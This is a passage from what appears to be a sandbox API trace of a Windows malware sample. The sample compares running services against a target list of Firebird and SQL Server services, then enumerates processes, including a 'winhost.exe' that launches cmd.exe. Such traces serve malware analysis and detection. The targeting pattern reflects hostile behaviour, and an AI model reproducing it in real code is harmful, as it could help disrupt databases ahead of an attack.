(lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0236.929] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0236.929] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0236.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0236.929] lstrlenW (lpString="LSM") returned 3 [0236.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0236.929] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0236.929] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0236.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0236.929] lstrlenW (lpString="MpsSvc") returned 6 [0236.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0236.929] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0236.929] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0236.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0236.929] lstrlenW (lpString="NcbService") returned 10 [0236.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0236.930] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0236.930] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0236.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0236.930] lstrlenW (lpString="netprofm") returned 8 [0236.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0236.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0236.930] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0236.930] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0236.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0236.930] lstrlenW (lpString="NgcSvc") returned 6 [0236.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0236.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0236.930] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0236.930] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0236.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0236.930] lstrlenW (lpString="NlaSvc") returned 6 [0236.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0236.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0236.930] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0236.930] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0236.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0236.930] lstrlenW (lpString="nsi") returned 3 [0236.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0236.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0236.930] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0236.930] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0236.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0236.930] lstrlenW (lpString="PcaSvc") returned 6 [0236.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0236.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0236.930] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0236.930] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0236.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0236.930] lstrlenW (lpString="PlugPlay") returned 8 [0236.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0237.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0237.168] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0237.168] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0237.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0237.168] lstrlenW (lpString="Power") returned 5 [0237.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0237.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0237.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0237.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0237.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0237.169] lstrlenW (lpString="ProfSvc") returned 7 [0237.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0237.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0237.169] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0237.169] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0237.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0237.169] lstrlenW (lpString="RpcEptMapper") returned 12 [0237.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.169] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0237.169] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0237.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0237.169] lstrlenW (lpString="RpcSs") returned 5 [0237.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0237.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0237.169] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0237.169] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0237.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0237.169] lstrlenW (lpString="SamSs") returned 5 [0237.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0237.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0237.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0237.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0237.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0237.169] lstrlenW (lpString="Schedule") returned 8 [0237.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0237.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0237.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0237.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0237.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0237.169] lstrlenW (lpString="SecurityHealthService") returned 21 [0237.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0237.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0237.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0237.170] lstrlenW (lpString="SENS") returned 4 [0237.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0237.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0237.170] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0237.170] lstrlenW (lpString="ShellHWDetection") returned 16 [0237.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.170] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0237.170] lstrlenW (lpString="Spooler") returned 7 [0237.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0237.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0237.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0237.170] lstrlenW (lpString="StateRepository") returned 15 [0237.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0237.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0237.170] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0237.170] lstrlenW (lpString="SysMain") returned 7 [0237.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0237.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0237.170] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0237.170] lstrlenW (lpString="SystemEventsBroker") returned 18 [0237.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0237.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0237.170] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0237.170] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0237.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0237.171] lstrlenW (lpString="Themes") returned 6 [0237.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0237.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0237.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0237.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0237.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0237.171] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0237.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0237.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0237.171] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0237.171] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0237.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0237.171] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0237.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0237.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0237.171] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0237.171] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0237.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41c34d0 | out: hHeap=0x4f0000) returned 1 [0237.171] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0237.175] Process32FirstW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.175] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.175] lstrlenW (lpString="System") returned 6 [0237.176] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.176] lstrlenW (lpString="smss.exe") returned 8 [0237.176] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.176] lstrlenW (lpString="csrss.exe") returned 9 [0237.176] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.177] lstrlenW (lpString="wininit.exe") returned 11 [0237.177] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.177] lstrlenW (lpString="csrss.exe") returned 9 [0237.177] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.177] lstrlenW (lpString="winlogon.exe") returned 12 [0237.177] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.178] lstrlenW (lpString="services.exe") returned 12 [0237.178] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.178] lstrlenW (lpString="lsass.exe") returned 9 [0237.178] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0237.178] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0237.178] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0237.179] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0237.179] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.179] lstrlenW (lpString="svchost.exe") returned 11 [0237.179] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.180] lstrlenW (lpString="svchost.exe") returned 11 [0237.180] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.180] lstrlenW (lpString="dwm.exe") returned 7 [0237.180] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.180] lstrlenW (lpString="svchost.exe") returned 11 [0237.180] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.181] lstrlenW (lpString="svchost.exe") returned 11 [0237.181] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.181] lstrlenW (lpString="svchost.exe") returned 11 [0237.181] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.181] lstrlenW (lpString="svchost.exe") returned 11 [0237.181] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.182] lstrlenW (lpString="svchost.exe") returned 11 [0237.182] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.182] lstrlenW (lpString="svchost.exe") returned 11 [0237.182] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.183] lstrlenW (lpString="svchost.exe") returned 11 [0237.183] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.183] lstrlenW (lpString="svchost.exe") returned 11 [0237.183] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.183] lstrlenW (lpString="svchost.exe") returned 11 [0237.183] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.184] lstrlenW (lpString="svchost.exe") returned 11 [0237.184] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.184] lstrlenW (lpString="spoolsv.exe") returned 11 [0237.184] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.184] lstrlenW (lpString="svchost.exe") returned 11 [0237.184] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.185] lstrlenW (lpString="audiodg.exe") returned 11 [0237.185] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.185] lstrlenW (lpString="svchost.exe") returned 11 [0237.185] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.186] lstrlenW (lpString="sihost.exe") returned 10 [0237.186] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0237.186] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0237.186] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0237.186] lstrlenW (lpString="Memory Compression") returned 18 [0237.186] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.187] lstrlenW (lpString="taskhostw.exe") returned 13 [0237.187] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.187] lstrlenW (lpString="explorer.exe") returned 12 [0237.187] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.187] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0237.187] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.188] lstrlenW (lpString="SearchUI.exe") returned 12 [0237.188] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.188] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0237.188] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0237.189] lstrlenW (lpString="winhost.exe") returned 11 [0237.189] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.189] lstrlenW (lpString="cmd.exe") returned 7 [0237.189] Process32NextW (in: hSnapshot=0x454, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 